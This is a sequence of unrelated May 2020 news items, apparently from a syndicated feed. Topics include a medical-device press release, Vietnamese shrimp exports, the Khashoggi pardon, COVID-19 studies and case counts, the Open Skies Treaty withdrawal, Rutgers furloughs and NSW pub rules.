Kim Ji-min, CEO of MEDI FUTURES, said, "Ultrasound surgery significantly improves the safety of both doctor and patient, owing to its ability to safely cut and fuse tissue together. MEDI FUTURES is able to develop medical devices at a micrometer scale that can be absorbed by the body. We will be working to make our products applicable not only for surgery and beauty care but also in other areas of medical treatment such as ophthalmology and dentistry." Having obtained CE certification this year, MEDI FUTURES plans to boost its sales in the European market. It will also be collaborating with prominent American companies to expand its exports of surgical devices. For more detailed information on MEDI FUTURES, visit http://medifutures.net/. Media contact MEDI FUTURES: [email protected]

Born2Global Centre: [email protected] Photo - https://photos.prnasia.com/prnh/20200521/2810531-1 SOURCE Born2Global Centre

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Vietnams shrimp exportsin Q1 had export turnover of $660 million, a 2 percent increase compared with the same period last year, according to the General Department of Customs (GDC).

According to Truong Dinh Hoe, secretary general of the Vietnam Association of Seafood Exporters and Producers (VASEP), the figure was $780 million, and if counting the export turnover of $270 million in April, Vietnam might earn $1 million in the last four months from shrimp exports.





Of 34 shrimp export companies which make up 70 percent of total shrimp export turnover, 20 companies reported 0.3-87 percent growth rates compared with the same period last year, and 14 companies reported export decline of 10 percent on average.



Hoe said the export turnover in Q4 is always double that of the first quarter, so he believes that shrimp exports will recover this year.



Regarding export markets, Hoe said Japan and the US saw relatively high growth rates in Q1, while the EU and China saw sharp decline. However, these markets have shown signs of strong recovery.

Vietnams shrimp exportsin Q1 had export turnover of $660 million, a 2 percent increase compared with the same period last year, according to the General Department of Customs (GDC).

Hoe is optimistic about the shrimp export prospects this year because the predicted 50 percent shrimp output has decreased in India and Ecuador, the biggest rivals of Vietnam.



The exports to the US increased rapidly partially because of the decline from India, he said.



Nhu Van Can from the Ministry of Agriculture and Rural Development said despite the difficulties caused by Covid-19, Vietnams shrimp industry has set the same production and export goals as last year. It is expected that the shrimp farming area would reach 730,000 hectares and the output would be 830,000 tons.



The stability in farming area and output, according to Can, would help Vietnam accelerate exports while other export companies anticipate output decreases.



The world is shifting to consume small-size shrimp rather than large-size. There have been no official statistics about the changes in shrimp consumption habits, but exporters have noted that importers tend to order small-size shrimp products.



Tran Quoc Tuan, vice president of Vietnam-Australia Seafood Group, said small shrimp (50-60 shrimp per kilogram) are now in short supply because of the increased demand. Importers dont want large-size shrimp now because restaurants and hotels have suspended operation.



Le Van Quang, president of Minh Phu Group, said the world market, especially the EU, has high demand for small-size shrimp (60-150 shrimp per kilogram).



According to Quang, large retail chains such as Walmart consume small shrimp products in large quantities, while restaurants, the biggest consumers of large shrimp, have suspended operation because of Covid-19. As a result, the price of large shrimp is now equal to small products.

Mai Lan

Shrimp demand rises but Vietnamese processors lack materials Fearing a slump amid the epidemic, Vietnamese farmers are hesitating to begin new shrimp hatchery crops.
LONDON  Those closest to slain journalist Jamal Khashoggi appeared to send conflicting messages overnight as to whether tho people who killed the Washington Post columnist should be forgiven.

One of Khashoggis sons, Salah, posted early Friday that members of his family had chosen to forgive those who murdered their father.

On this very blessed night, of this very blessed month [of Ramadan] we remember God almighty's saying in his holy book: '...If you forgive and you make reconciliation, the reward is due from God,'" he said.

This is why we, the sons of the martyr Jamal Khashoggi, announce that we forgive and pardon those who participated in the killing of our father.

Some three hours later, Khashoggis fiancee, Hatice Cengiz, appeared to respond to the suggestion that his murderers should be forgiven.

Nobody has the right to pardon the killers. We will not pardon the killers nor those who ordered the killing, she wrote on Twitter.

On the last 10 nights of Ramadan, and on the odd-numbered nights particularly, Muslims ask God for forgiveness for their sins with extra fervor in the hope it will be granted before Ramadan ends.

Khashoggi went into the Saudi Arabian consulate in Istanbul on Oct. 2, 2018, to obtain documents to do with his planned marriage to Cengiz. His fiance waited outside but he never emerged. His family would later learn that he had been slain inside the consulate by fellow Saudis. His remains have never been found.

The CIA and other foreign intelligence agencies concluded that Saudi Crown Prince Mohammed bin Salman ordered the killing of Khashoggi, who had openly criticized the de facto ruler of the oil-rich kingdom in his opinion articles for The Washington Post.

The crown prince said the murder was carried out without his knowledge but has also suggested he had some personal accountability.

"I get all the responsibility, because it happened under my watch, he told PBS' "Frontline in September last year.

Story continues

Image: Hatice Cengiz (Craig Ruttle / AP)

In December, Saudi Arabia sentenced five people to death for "committing and directly participating" in Khashoggis murder. Three others were sentenced to a collective total of 24 years in prison for their "role in covering up" the killing.

The United Nations extrajudicial executions investigator, Agnes Callamard, criticized the ruling at the time saying "the travesty of investigation, prosecution and justice continues."

In response to the news that Khashoggi's family had decided to forgive his killers, Callamard tweeted Friday that Saudi Arabia had repeatedly proven it will not deliver justice for Khashoggi.

This is the last piece to the Saudi impunity puzzle, the final act of the parody of justice played in front of a global audience, she said. The killers will walk free. Exonerated.

Salah Khashoggis statement recalls the now-infamous image of him shaking the powerful crown prince's hand in the Yamama Palace in Riyadh just three weeks after his fathers killing.
Students are poised to sue their universities for a tuition-fee refund after the coronavirus epidemic pushed their classes online.

Eight out of 10 universities are only teaching classes online.

A national network of students at 32 universities including the top ones are preparing to file a complaint against universities and the Education Ministry.
Experts are showing a simple, yet highly effective way to significantly reduce the spread of the coronavirus.

They say in a new study that instead of a continued lockdown scenario, having people wear masks as soon as possible could have significant effects.

But it requires that the vast majority of people wear them  coupled with physical distancing measures. If only half of a population does so, there's only minimal impact, researchers said in the study.

"Without masking, but even with continued social distancing in place once the lockdown is lifted, the infection rate will increase and almost half of the population will become affected," the researchers said. "This scenario would potentially lead to over a million deaths in a population the size of the U.K."

"Without masking, lifting lockdown after nine weeks while keeping social distancing measures will risk a major second wave of the epidemic in 4-5 months time," they added." However, if four out of five citizens start wearing cloth masks in public before the lockdown is lifted, the number of new COVID-19 cases could decline enough to exit lockdown and still avoid a second wave of the epidemic."



Video: Doctor explains guidance for face masks in public, answers other questions

They used a computer model to try to explain how countries such as Japan, which generally wear masks, have been having drastically different outcomes than others that generally don't wear masks, Vanity Fair noted.

Taiwan, for example, has a population of 23 million, but Johns Hopkins University's tally shows only 440 cases and seven deaths.

The study has yet to complete the peer-review process, but experts who have seen it spoke highly of it to Vanity Fair.

An alternative, such as a continued lockdown, does help, but it would take six months for the virus to be under control, the researchers said, describing the economic and social costs of that strategy as enormous.

The research team urged governments to consider masking as one of the key tools in controlling the spread of the virus.
Russian President Vladimir Putin and US President Donald Trump.

AP

The White House's abandonment of the Open Skies Treaty was widely condemned by Democratic lawmakers and national security experts.

Countries that sign the treaty can conduct short-notice observational flights over other signatories to verify the status of each other's military forces, but the US has accused Russia of restricting its access.

The Defense Department in a statement said "Russia has increasingly used the Treaty to support propaganda narratives in an attempt to justify Russian aggression against its neighbors."

Michael Hayden, a retired US Air Force general and former National Security Agency director, described it as "insane."

Some Republicans applauded the withdrawal and called it a "positive step to end America's dependence on dysfunctional and broken treaties."

Visit Business Insider's homepage for more stories.

The White House's move to abandon the Open Skies Treaty, an agreement with European allies and Russia, was widely condemned on Thursday by Democratic lawmakers and national security experts.

The State Department announced it would submit its notice of withdrawal, which starts a six-month countdown until "the United States will no longer be a party" to the treaty with 34 countries that includes Russia, Ukraine, Canada, Netherlands, and Norway. All of these countries can conduct short-notice observational flights over other signatories to verify the status of each other's military forces, but the US has accused Russia of restricting its access.

Related: This Shows How Divided Congress Has Become Since 1949

Democratic lawmakers from the House Armed Services Committee described the move as "a slap in the face to our allies in Europe" that would leave "our deployed forces in the region at risk"

"This decision weakens our national security interests, isolates the United States since the Treaty will continue without us, and abandons a useful tool to hold Russia accountable," Rep. Adam Smith of Washington, the committee's chairman, and Rep. Jim Cooper of Tennessee said in a joint statement.

Story continues

The lawmakers added that the decision was made without any consultation with Congress and in "blatant violation" of a federal law that requires the Trump administration to signal its intent to withdraw at a minimum of 120 days beforehand.

"This is insane. I was the director of CIA," Michael Hayden, a retired US Air Force general and former National Security Agency director, said in a tweet.

The 1992 Open Skies Treaty was initially signed by the US, Russia, and 22 other countries in an effort to promote security transparency among nations. Countries that are part of the treaty must notify other nations 72 hours in advance of missions to conduct an observational flight for security-related assurances. The host country has one day to respond.

A Russian Tupolev Tu-154M.

Alexander Mishin

In 2019, a Russian Tu-154 aircraft conducted an observational mission over Great Falls, Montana, and took aerial photographs for several days. The year prior, the US also flew a plane over Ukrainian territory as part of the treaty.

There has been tension between the US and Russia over claims from both countries that the other is violating the treaty.

In 2018, Russian officials accused the US of violating the spirit of the agreement by not approving its aircraft to conduct observational missions, according to Defense News. Russian media outlets also said the US had withdrawn from the treaty, which US officials denied.

The US, in turn, has accused Russia of restricting its flight access. US officials previously accused Russia of violating the treaty by restricting flights in Kaliningrad, a heavily militarized area that is home to short-range missiles. The Defense Department in a statement added that "Russia has increasingly used the Treaty to support propaganda narratives in an attempt to justify Russian aggression against its neighbors."

The State Department said in its statement on Thursday that it may "reconsider our withdrawal" if Russia returned to "full compliance" with the treaty.

"For years, Russia has used the Open Skies Treaty to collect intelligence on civilian infrastructure and other sensitive sites in America, posing an unacceptable risk to our national security," William Evanina, the director of the National Counterintelligence and Security Center, said in a statement.

Republican Sen. Tom Cotton of Arkansas, one of the outspoken supporters of the US withdrawal, described it as a "positive step to end America's dependence on dysfunctional and broken treaties."

"The Open Skies Treaty started life as a good-faith agreement between major powers and died an asset of Russian intelligence," Cotton said in a statement. "For Mr. Putin, the treaty was just another scheme to snatch a military and surveillance advantage over the US and NATO."

Proponents of the treaty have argued that the flights provide the US and its allies, who do not have the same surveillance capabilities, valuable information about Russian military activities.

"Today's announcement is part of a troubling pattern," Arms Control Association Director Daryl Kimball said. "The Open Skies Treaty is not the first and may not be the last nuclear- or conflict-risk reduction agreement this administration has withdrawn from without a viable strategy for replacement."

Business Insider
5 death sentences for Khashoggi's murder to be commuted After pardon given to killers by journalist's family

(ANSAmed) - ISTANBUL, MAY 22 - The five death sentences handed down in Saudi Arabia for the killing of Jamal Khashoggi in October 2018 in Riyadh's consulate in Istanbul will be commuted into lesser penalties after a ''pardon'' granted to the killers by the victim's family through his son Salah.



Local media including Arab News reported the news, noting that those sentenced will not be released. The announcement came in the final days of Ramadan, in line with a tradition that allows for acts of mercy in cases provided for by Islamic law.(ANSAmed).




Researchers at Dokuz Eylul University, Turkey, have identified mutations in the genome of severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) that may have contributed to its dominance in Europe and elsewhere.

The study sheds light on how mutations in the main RNA polymerase of the virus affects its mutation rate and spread. SARS-CoV-2 relies on this RNA-dependent RNA polymerase (RdRp) to replicate its viral genome once inside host cells.

The results suggest that one mutation in particular  14408C>T  is involved in increasing the mutation rate and possibly the transmissibility of the virus.

A pre-print version of the paper can be accessed on the server bioRxiv*, while the paper undergoes peer review.

Novel Coronavirus SARS-CoV-2 Transmission electron micrograph of SARS-CoV-2 virus particles, isolated from a patient. Image captured and color-enhanced at the NIAID Integrated Research Facility (IRF) in Fort Detrick, Maryland. Credit: NIAID

Tracking the evolution of the virus

Since the coronavirus disease 2019 (COVID-19) outbreak, caused by SARS-CoV-2, began in Wuhan, China, in December 2019, researchers have been accumulating thousands of viral genome sequences to help track the evolution of the virus as it has spread across the globe.

SARS-CoV-2 has a single-stranded RNA genome that codes for 12 peptides, including Orf1a and Orf1ab, which undergo cleavage to produce mature peptides, including the membrane glycoprotein and envelope glycoprotein.

Among worldwide isolates of SARS-CoV-2, researchers have identified several mutations in the RdRp coding region of the Orf1ab gene. One of them is the 14408C>T transition, which has been identified in more than 7000 isolates from various continents. One early study of SARS-CoV-2 genomes isolated from North America and Europe suggested that 14408C>T is associated with a higher number of mutations, although the mechanism is not yet fully understood.

What did the current study involve?

To investigate how such RdRp mutations might affect the mutation rate of SARS-CoV-2, Doga Eskier and team explored their association with mutations identified in the membrane or envelope (MoE) glycoproteins in relationship to location.

On examining the distribution of mutations in RdRp and MoE by location, South America had the highest proportion (93.2%) of RdRp mutants, while Asia had the lowest (32.7%). South America also had the highest proportion (11.0%) of M gene mutations and the second-highest proportion (2.5%) of E gene mutations.

To explore the effects of the most common RdRp mutations on the mutation rate of SARS-CoV-2, the team focused on the ten most frequently observed mutations and compared MoE between them.

The strongest predictors of MoE presence of absence

Univariate logistic regression analysis of the ten individual mutations revealed 14408, 14805, 15324, and 13730 as significant in predicting the presence or absence of MoE, with 14408 identified as the strongest predictor.

Our results suggest that SARS-CoV-2 genomes with the 14408C>T mutation are 1.5 times more likely to have MoE, writes the team.

The final univariate logistic regression analysis also revealed a significant relationship between MoE and the same four mutations (14408, 14805, 15324, 13730) and location. Viral genomes in Europe and Oceania were 1.35 times and 1.45 times more likely, respectively, to have MoE than viral genomes in Asia.

These results indicate that both RdRp mutations and location independently predict MoE status, say Eskier and colleagues.

While the 14408C>T mutation predicted an increased risk of MoE, the other three RdRp mutations predicted a decreased risk, especially 15324C>T mutation, which predicted that the risk would be reduced by about ten times.

Interpreting the findings

The team says their observation that the two RdRp mutants significantly influence the likelihood of mutations in MoE, which evolve comparatively slowly under selective pressure, supports the hypothesis that mutations of RdRp contribute significantly to the SARS-CoV-2 genome evolution.

It would be expected, they say, that a low-fidelity (more error-prone) mutant RdRp would increase viral genetic diversity and allow the virus spread under different selective pressures, such as spreading to different populations.

However, a higher-fidelity mutant RdRp would be beneficial once optimal conditions were met and where replication errors would be disadvantageous.

Early studies have suggested that 14408C>T mutation could increase replication errors, but how the 15324C>T mutation might lower mutation rates is less well understood.

It is possible that 15324C>T modulates the interaction of viral genome with host factors and indirectly affects the 14408C>T mutation through such factors but this question may be better answered as more viral genome sequences accumulate, and functional studies are performed, say Eskier and team.

Co-mutations that evolved with 14408C>T

Interestingly the authors describe two other mutations that co-evolved with 14408C>T, namely 23403A>G and 3037C>T.

In Europe, North America and South America, 14408C>T and its two co-mutations became the dominant form, while in Asia, it remained the minor form.

Following identification of the first mutated virus in Europe, 14408C>T then emerged as the dominant form in South America, North America, and Africa five, seven, and eight days later where it comprised 81.3%, 59.4% and 80.3% of viral genomes, respectively.

Our study sheds light on the effects RdRp mutations, particularly 14408C>T mutation, on the mutability and possibly transmissibility of SARS-CoV-2, writes the team. It is possible that 14408C>T mutation may have contributed to the dominance of its co-mutations in Europe and elsewhere. Further functional studies are required to test our findings, they conclude.

*Important Notice

bioRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information.
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Technavio has announced its latest market research report titled Global Cold Chain Logistics Market for Pharmaceuticals Industry Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Agility Public Warehousing Co. K.S.C.P, Deutsche Post AG, FedEx Corp., JWD InfoLogistics Public Co. Ltd., Kerry Logistics Network Ltd., KUEHNE NAGEL Management AG, OOCL Logistics Ltd., SCG Logistics Management Co. Ltd., United Parcel Service of America Inc., and VersaCold Logistics Services are some of the major market participants. The increase in global demand for pharmaceuticals will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Increase in global demand for pharmaceuticals has been instrumental in driving the growth of the market.

Cold Chain Logistics Market for Pharmaceuticals Industry 2020-2024: Segmentation

Cold Chain Logistics Market for Pharmaceuticals Industry is segmented as below:

Service Warehousing and VAS Transportation

Geography APAC North America Europe South America MEA



To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR40854

Cold Chain Logistics Market for Pharmaceuticals Industry 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our cold chain logistics market for pharmaceuticals industry report covers the following areas:

Cold Chain Logistics Market for Pharmaceuticals Industry size

Cold Chain Logistics Market for Pharmaceuticals Industry trends

Cold Chain Logistics Market for Pharmaceuticals Industry analysis

This study identifies growing consolidation in global healthcare logistics market as one of the prime reasons driving the growth of cold chain logistics market for pharmaceuticals industry during the next few years.

Cold Chain Logistics Market for Pharmaceuticals Industry 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the cold chain logistics market for pharmaceuticals industry, including some of the vendors such as Agility Public Warehousing Co. K.S.C.P, Deutsche Post AG, FedEx Corp., JWD InfoLogistics Public Co. Ltd., Kerry Logistics Network Ltd., KUEHNE NAGEL Management AG, OOCL Logistics Ltd., SCG Logistics Management Co. Ltd., United Parcel Service of America Inc., and VersaCold Logistics Services. Backed with competitive intelligence and benchmarking, our research reports on the cold chain logistics market for pharmaceuticals industry are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Cold Chain Logistics Market for Pharmaceuticals Industry 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist the growth of cold chain logistics market for pharmaceuticals industry during the next five years

Estimation of the size of cold chain logistics market for pharmaceuticals industry and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the cold chain logistics market for pharmaceuticals industry

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of vendors in cold chain logistics market for pharmaceuticals industry

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019-2024

Five Forces Analysis

Five Forces Summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Service

Market segments

Comparison by Service placement

Warehousing and VAS Market size and forecast 2019-2024

Transportation Market size and forecast 2019-2024

Market opportunity by Service

Customer Landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

APAC Market size and forecast 2019-2024

North America Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Vendor landscape

Landscape disruption

Competitive Landscape

Vendor Analysis

Vendors covered

Market positioning of vendors

Agility Public Warehousing Co. K.S.C.P

Deutsche Post AG

FedEx Corp.

JWD InfoLogistics Public Co. Ltd.

Kerry Logistics Network Ltd.

KUEHNE NAGEL Management AG

OOCL Logistics Ltd.

SCG Logistics Management Co. Ltd.

United Parcel Service of America Inc.

VersaCold Logistics Services

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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Metro Manila (CNN Philippines, May 22)  Contact tracing smartphone applications must protect users' data privacy while addressing the challenges of solving the COVID-19 pandemic, a Singapore-based technology expert said.

Bryan Ma, technology expert from IDC Asia Pacific, emphasized data privacy is still important despite the contact tracing apps nature of gathering several information from people.

There should be an effort to protect individual rights in these apps, said Ma.

The Singapore-based expert suggested that contact tracing apps must have a centralized system to address interoperability issues and it will reach more people.

Technology giants Apple and Google recently launched its COVID-19 exposure notification system that will allow public health agencies to create their own contact tracing apps.

Ma noted the Apple and Google system valued privacy on its users due to its decentralized operations, a good step in responding to the contact tracing efforts during the pandemic.

What Apple and Google are doing here is a more decentralized approach. Where youve been in this log, it doesnt get stored in some central server. Its stored on the phone itself. Its meant to protect individual users privacy, he said.

Ma also noted in his interview with CNN Philippines that majority of the Filipinos still use feature phones, which still have the numeric keypads on it. He said this can be a challenge to the contact tracing apps effectiveness in the country as the system only works in smartphones.

Feature phones, which are about 35 to 40 percent of the mobile phones in the Philippines, are not going to be covered by this, added Ma.

Despite the dilemma, Ma underscored the need for technology in contributing to the contact tracing efforts in the country.

Weve gotta make sure that it is user-friendly and that we can also make sure that we can pass this pandemic safely, said Ma.

Last April, the governments National Task Force Against COVID-19 partnered with software solutions company MultiSys to create StaySafe.PH which is both a website and mobile application to track those who had contact and infected with the virus.
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The National Green Tribunal has directed Delhi's Chief Secretary to hold a meeting within two weeks with all the authorities concerned to ensure proper dumping of construction and debris (C&D) waste.

A bench headed by NGT chairperson Justice Adarsh Kumar Goel said capacity for processing of waste at other places needs to be adequately enhanced as Bhalswa landfill site has already crossed its capacity.

"To remedy the above undesirable situation, the Chief Secretary, Delhi may coordinate with all concerned authorities in Delhi so as to ensure improvement of operational efficiency of the current site as well as setting up of additional sites so as to ensure that C&D waste is not transferred to the Bhalswa landfill site. A fresh meeting be held for the purpose within two weeks," the bench said.

The tribunal sought a further action taken report in the matter before September 9 through e-mail.

The tribunal warned that if there is no adequate compliance of law, it may take coercive measures including recovery of compensation from the Delhi government for its failure to uphold the rule of law resulting in continued damage to the and the public health.

The NGT had earlier expressed surprise over an MLA approaching it on an environmental issue instead of heading to the authority concerned, saying it wondered "whether even an MLA has no trust and faith in the statutory authorities and is 'helpless' in making such authorities do their duty".

The green panel had said it was astonished that a Member of Legislative Assembly (MLA) had to approach the tribunal against the construction and debris waste stored, transported and distributed by IL&FS at Jahangirpuri here.

Taking note of the legislator's plea, the tribunal asked the Delhi Pollution Control Committee to look into the matter, take appropriate action in accordance with law.

Adarsh Nagar MLA Pawan Kumar Sharma had approached the tribunal against dumping of construction and debris waste at Jahangirpuri in north west Delhi.

He alleged that in the process, tonnes of stones and cement blocks are crushed, the waste is put on the government land by encroachment and garbage dumps have been created, adversely affecting the

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Hamilton County has added 40 new positive COVID-19 cases for a cumulative of 487 active cases in the county. Deaths remain at 13.

TVA said an employee at the Sequoyah Nuclear Plant tested positive. It was reported on May 20, and the employee had not been at the job site since May 10 while home tending to a sick family member. The employee advised TVA on May 13 that a family member appeared to have the coronavirus. The employee initially had a negative test, but later tested positive. TVA has taken extra sanitary steps at the plant.

Health Department Administrator Becky Barnes said the county has released a new map showing the exact number of positive cases in each zip code.

This replaces the one we had been issuing that had ranges, so this is more exact data that we are releasing to the community, said Ms. Barnes. We will be updating that map not daily, but once a week.

While certain zip codes or areas have more cases than others, Ms. Barnes warned against having a false sense of security, and that anyone could get the virus. She stressed the highly infectious nature of COVID-19.

What we call a cluster are two or more people who are not household members with a common exposure contact, said Ms. Barnes. Hamilton County has 20 clusters, and those clusters have ranged from two people in the cluster, to 29 people in the cluster.

She said the county has created a map of the clusters, which shows that the workplaces are not always associated with where the positive cases live.

The pandemic is not over. The more you stay at home, the safer you are, said Ms. Barnes. When you go out, wear a face mask and practice social distancing.

The health departments Carolina England said people interested in volunteering as a Tennessee reserve core volunteer can visit TNNRC.org. And if one is a bilingual student or faculty who would like to help with contact-tracing, they can also visit that website.

Director of Public Health Bill Ulmer announced the health department has been awarded a grant from the Community Foundation of Chattanooga. It is meant to assist with expanded testing. This will especially assist minority communities in the county, he said.

Nashville has 26 new coronavirus cases and one additional death to bring the total to 51. Cases are now at 4,530. The additional death was a 91-year-old woman who had underlying health conditions.

There are now 4,034 confirmed cases in Memphis - up from 3,726. There have been six more deaths to bring the total to 91.

There are now 313 coronavirus deaths in Tennessee, the state reported.

Cases are up by 429 to 18,961. Hospitalizations increased 24 to 1,539.

Bledsoe County is at 607 cases with one coronavirus death. Almost all the cases are from Bledsoe County Correctional Complex at Pikeville.

Bradley County is up to 89 cases with one death.

Rhea County jumped from 13 cases to 188 related to an outbreak among migrant workers at a farm.

Marion County remains at 35 cases. It has recorded one death. Sequatchie County is at 10 cases. Grundy County is at 31 cases with one death. Meigs County is at 22 cases. Franklin County has 44 cases with one death.

McMinn County is at 124 cases and 12 deaths. Life Care Center of Athens has had an outbreak of the coronavirus and accounts for all the deaths in the county.

Monroe County is now at 55 cases and it has had two coronavirus deaths. Polk County is at 14 cases.

Sumner County (Gallatin) is up to 778 cases and now has 42 deaths.

There are 491 cases in Williamson County and it has 10 coronavirus deaths.

Knox County remains at five deaths and it has 321 cases.
No additional COVID-19 cases were announced throughout mid-Michigan by the state Friday afternoon, and a key metric shows signs of significant positive progress.

The number of tests conducted across the state has doubled within three weeks, and the rate of them that returned as positive has fallen by more than 3.5 percent. In the state police region to which Isabella, Clare, Montcalm and Mecosta counties belong, the average number of tests has more than doubled, with the rate of positives falling 3 percent.

Between Saturday and Wednesday, an average of 15,543 tests were conducted statewide, according to data posted by the Michigan Department of Health and Human Services. The average percentage that returned as positives during those five days was 7.6 percent. Three weeks before, an average of 7,847 specimens were being tested every day between April 25-29, with an average rate of 11.82 of them returning as positive.

Most of Michigan is currently in the process of bringing the COVID-19 outbreak under control, which Gov. Gretchen Whitmer has identified as stage three in her plan to reopen the state. Stage three requires more aggressive testing to identify where the virus is.

The state has until recently mostly tested people with serious symptoms who belong to at-risk groups for more serious infections. That has meant a higher percentage of the tests returning as positive.

As the state tests people with less severe symptoms and who dont belong to at-risk groups, it will give provide public health officials a more accurate information of where the disease is at a given moment, rather than just who is sick with it.

This will allow public health officials to more aggressively contain localized outbreaks by tracing more people whove been in contact with people who test positive, and quarantining them until their risk of infecting others has passed. The process is called contact tracing is isolation.

Success in testing and contact tracing is considered critical to moving to the next stage of Whitmers plan to reopen the state. Earlier this week, she announced that she was moving the Upper Peninsula and much of northern Michigan into that stage of reopening based on few cases, few deaths and adequate healthcare resources to handle an outbreak.

Her plan is based on grouping counties by economic recovery regions, and earlier this week moved two of them into that new stage.

Isabella, Clare, Montcalm and Mecosta counties belong to the same economic recovery region as Kent County, and its boundaries are the same as both the state polices Region 6 and the Region 6 Health Care Coalition.

Kent County was where the states last major COVID-19 outbreak took place. Although Fridays update included 86 new cases in Kent County for a total of 3,231, the number of new cases added there was increasing by more than 100.

Testing data from the region also shows significant improvement. Between Saturday and Wednesday, an average of 2,200 specimens were tested throughout the region with an average of 8.1 percent coming back positive. From April 25-29, an average of 954 specimens were tested throughout the region with an average of 11.2 of them returning as positive.

Isabella County has had 65 confirmed cases/7 deaths, there have been 57/4 in Gratiot, 16/1 in Clare, 19/2 in Mecosta, 17/1 in Gladwin, 62/1 in Montcalm and 76/8 in Midland.

Also this week, the Centers for Disease Control announced that it was de-emphasizing contaminated surfaces as a primary way to transmit the disease. Previously, it was believed that the easiest ways to spread the disease was through contaminated surfaces and aerosol droplets. In making the announcement, the CDC said that it was no longer clear that contaminated surfaces was as efficient way to spread the disease as previously believed, but warned that people should still disinfect high-use surfaces.

They also announced that the estimated global fatality rate for the disease is .4 percent, a number that some public health officials took issue with as not based on available data.

Michigans death rate from the disease currently stands at 10 percent. That number is almost certainly inflated, however, because its based on the percentage of people who test positive who die.

Because only sick people in at-risk groups were tested until recently, the people being tested were only the people mostly likely to die of the disease if they contracted.

Elderly people, especially people older than 80, die in much higher percentages if they contract the disease.

READ MORE:
A coalition of 19 unions at Rutgers University is asking the administration to consider a furlough program for its employees instead of laying off as many as 1,000 low-wage workers.

Many of the workers who could be laid off work in the dining halls or other facilities at Rutgers campuses across New Jersey, the unions said.

When these crises hit, they should not be solved on the backs of the most vulnerable, said Todd Wolfson, president of AAUP-AFT, the union representing faculty and graduate workers.

A university spokesperson, Dory Devlin, acknowledged that Rutgers is in discussions with unions on a furlough program that could save more than 1,000 jobs, but declined to elaborate.

We are hopeful, too, than an agreement on a furlough program with our other unions can be achieved, that jobs can be preserved, and that the universitys mission can continue to be met, she said.

The unions want Rutgers to execute short-term furloughs from a pool of about 30,000 employees in the educational and health systems. Most employees, except for essential workers, would get a furlough under the plan, Wolfson said. The work-share approach would allow nearly all furloughed employees to replace lost wages with state unemployment benefits and a $600-a-week federal aid supplement, Wolfson said.

 READ MORE: Colleges stand to lose millions because of the coronavirus

The unions say their plan would save the university about $100 million and the university could tap its nearly $600 million unrestricted reserve fund for additional funds to cover revenue losses.

The coronavirus has wreaked havoc on college finances across the country. Locally, Temple University President Richard M. Englert announced this month that the school had decided against furloughs.

Pennsylvania State University in April announced it would cut by 50% the pay of about 2,000 workers whose jobs were not needed from May 4 through June 30.

In return for agreeing to the furloughs, the unions are asking Rutgers for a guarantee of no layoffs through fiscal year 2020-21, Wolfson said.

Union members filled about 200 cars in an campaign for the plan outside Rutgers president Robert L. Barchis house Saturday. More action is being planned, Wolfson said.
Trying to meet someone is about to become a whole lot harder for singles in NSW after the government banned mingling in pubs.

Premier Gladys Berejiklian announced on Friday venues in New South Wales would be able to host 50 patrons from June 1 if they adhered to the distancing rules.

Ms Berejiklian noted: 'There is no mingling, no standing around. There are strict guidelines in place, which will ensure that we can do this safely.'

Singles have been forbidden from mingling with strangers and couples will be unable to cuddle in strict coronavirus social distancing laws for venues in New South Wales

Customers will have to be seated at tables and must have four square meters per person.

The Premier ruled that there would be no chances of new romance and declared mingling with strangers was frowned upon.

'You have to be seated at the table, you have to be served at the table,' Ms Berejiklian said.

The four-square metre rule will also mean no close contact or cuddling for couples and dates in restaurants.

Other restrictions include no buffets or shared cutlery and bookings will be limited to 10 people.

Diners will have to register their name and phone number when they enter the premises so they can be contacted in the event of a coronavirus outbreak.

Premier Gladys Berejiklian (pictured) announced on Friday restaurants and pubs in New South Wales would be able to host 50 patrons from June 1

Customers will have to be seated at tables and must have four square meters per person

The Premier said she made the move to get Australians back into work after 210,000 lost their jobs in the state in April.

'We are making sure people aren't long-term unemployed, and that we can bounce back from the devastating economic shock,' she said.

Deputy Premier John Barilaro said the move was a big boost for regional areas.

'It's our happy hour, time to wine and dine,' he said.

'We want to see people visiting the regions visiting hotels, pubs, clubs, restaurants and cafes.

'Today's announcement will allow regional businesses and economies to embrace, with the opening up of travel, the opportunity for businesses right into the June long weekend to fill their registers.'

The Premier said she made the move to get Australians back into work after 210,000 lost their jobs in the state in April

'A morale boost and the additional economic stimulus provided by pubs and clubs is what our communities need and I look forward to enjoying a beer in the bush with locals very soon.'

